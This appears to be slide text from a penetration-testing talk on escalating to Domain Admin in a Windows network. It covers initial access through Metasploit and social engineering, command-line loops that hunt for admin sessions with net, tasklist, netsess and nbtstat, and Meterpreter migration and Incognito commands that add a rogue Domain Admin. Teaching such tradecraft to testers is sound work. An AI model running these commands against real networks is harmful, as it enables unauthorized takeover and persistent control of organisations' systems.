Gaining Domain Admin

Joe T. Sylve, M.S.

Managing Partner, 504ENSICS Labs

Ph.D. Candidate, University of New Orleans

General Approach

1. Identify target systems and applications
2. Identify potential vulnerabilities
3. Exploit vulnerabilities to obtain initial access
4. Escalate privileges on the compromised system
5. Locate Domain Admin processes/authentication tokens locally or on Remote Systems
6. Authenticate to a remote system running Domain Admin Processes by passing the local Administrator's password hash, cracking passwords, or dumping passwords with a tool like mimikatz
7. Migrate to a Domain Admin Process
8. Create a Domain Admin

Obtaining Initial Access

Methods for Obtaining Initial Access

- Vulnerability Exploitation
  - Nessus + Metasploit
- Social Engineering
  - Phishing for Credentials
  - Trojan USB Drop
  - Calling Helpdesk
  - ….
- Baseline Access within Scope

Discovering Domain Admin Targets

Source: https://blog.netspi.com/5-ways-to-find-systems-running-domain-admin-processes/

Technique 1: Checking Locally

1. Run the following commands to get a list of domain admins:

   net group “Domain Admins” /domain

   net group “Enterprise Admins” /domain

2. Run the following command to list processes and process owners. The account running the process should be in the 7th column.
   - *tasklist /v*
3. Cross reference the task list with the Domain Admin list to see if you have a winner.

Technique 2: Querying Domain Controllers for Active Domain User Sessions

1. Gather a list of Domain Controllers from the “Domain Controllers” OU using LDAP queries or net commands.

   net group “Domain Controllers” /domain

   - **Important Note:** The OU is the best source of truth for a list of domain controllers, but keep in mind that you should really go through the process of enumerating trusted domains and targeting those domain controllers as well.

   - Alternatively, you can look them up via DNS.

     nslookup –type=SRV _ldap._tcp.

Technique 2: Querying Domain Controllers for Active Domain User Sessions

2. Gather a list of Domain Admins from the "Domain Admins" group

   net group "Domain Admins" /domain

   net group "Enterprise Admins" /domain

3. Gather a list of all of the active domain sessions by querying each of the domain controllers using Netsess.exe.
   - Netsess is a great tool from Joe Richards that wraps around the native Windows function "netsessionenum". It will return the IP Address of the active session, the domain account, the session start time, and the idle time.

Technique 2: Querying Domain Controllers for Active Domain User Sessions

4. Cross reference the Domain Admin list with the active session list to determine which IP addresses have active domain tokens on them.

```
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i &&
@netsess -h %i 2>nul > sessions.txt &&
FOR /F %a in (admins.txt) DO @type sessions.txt |
@findstr /I %a
```

- See: https://github.com/nullbind/Other-Projects/tree/master/GDA

Technique 3: Scanning Remote Systems for Running Tasks

1. Get list of Domain Admins (As before) and a list of IPs to target (nmap)
2. Find processes that are running with DA privs

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

Technique 4: Scanning Remote Systems for NetBIOS Information

- Below is another quick and dirty Windows command line script that will scan remote systems for active Domain Admins sessions

  FOR /F %i in (ips.txt) do nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

- You can also use the nbtscan tool which runs a little faster.

  FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

Privilege Elevation

Gain Code Execution on Target

- Metasploit
  - exploits/windows/psexec
  - Meterpreter payload

Method 1: Shell

- In the meterpreter console, type the following command to view processes:

  ps

- In the meterpreter console, find a domain admin session and migrate

  migrate –p <PID>

- Get an interactive shell

  shell

- Add a new Domain Admin

  net user <username> [password] /add /domain
  net group "Domain Admins" <username> /add /domain

Method 2: Incognito

- From Meterpretor shell

  load incognito

  add_user –h

  add_group “Domain Admins” -h